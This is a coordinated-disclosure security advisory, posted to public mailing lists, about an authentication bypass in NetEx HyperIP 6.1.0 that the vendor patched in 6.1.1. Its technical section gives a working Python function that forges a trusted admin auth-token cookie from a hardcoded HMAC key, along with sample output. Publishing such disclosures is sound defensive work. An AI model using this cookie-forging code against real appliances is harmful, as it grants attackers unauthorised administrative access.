Date: Fri, 9 Feb 2018 11:09:45 -0600
From: KoreLogic Disclosures <disclosures@...elogic.com>
To: fulldisclosure@...lists.org, bugtraq@...urityfocus.com
Subject: KL-001-2018-002 : NetEx HyperIP Authentication Bypass
KL-001-2018-002 : NetEx HyperIP Authentication Bypass
Title: NetEx HyperIP Authentication Bypass
Advisory ID: KL-001-2018-002
Publication Date: 2018.02.08
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2018-002.txt
1. Vulnerability Details
Affected Vendor: NetEx
Affected Product: HyperIP
Affected Version: 6.1.0
Platform: Embedded Linux
CWE Classification: CWE-592: Authentication Bypass Issues
Impact: Authentication Bypass
Attack vector: HTTPS
2. Vulnerability Description
Authentication for the management application can be bypassed
by recreating the algorithm used to create predictable valid
cookies.
3. Technical Description
Authentication can be bypassed using the function below.
>>> from hashlib import md5
>>> from hmac import new
>>> def bypass_auth(user,srcip):
... key = new('$#^Sub/s$',user+srcip,md5).hexdigest()
... token = new(key,user+srcip,md5).hexdigest()
... return token
...
The attacker first creates a cookie token.
>>> print bypass_auth('hipadmin','[redacted]')
b6b73844ce4df64f459948c5475a1096
Then the attacker can submit requests containing that value as
the auth-token cookie, which will be trusted by the application.
4. Mitigation and Remediation Recommendation
The vendor has released version 6.1.1 of HyperIP, which they state
addresses this vulnerability.
5. Credit
This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.
6. Disclosure Timeline
2017.07.24 - KoreLogic submits vulnerability details to NetEx.
2017.07.24 - NetEx confirms receipt.
2017.08.16 - NetEx informs KoreLogic that this and other reported
vulnerabilities have been addressed in the forthcoming
release. ETA as of yet undetermined.
2017.09.05 - 30 business days have elapsed since the vulnerability
was reported to NetEx.
2017.09.19 - NetEx informs KoreLogic that the forthcoming release
6.1.1 is expected to ship at the end of January 2018.
2017.09.26 - 45 business days have elapsed since the vulnerability
was reported to NetEx.
2017.12.01 - 90 business days have elapsed since the vulnerability
was reported to NetEx.
2018.01.17 - 120 business days have elapsed since the vulnerability
was reported to NetEx.
2018.01.23 - NetEx notifies KoreLogic that the HyperIP 6.1.1 release
has gone live.
2018.02.08 - KoreLogic public disclosure.
7. Proof of Concept
See 3. Technical Description.
The contents of this advisory are copyright(c) 2018
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
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https://www.korelogic.com/about-korelogic.html
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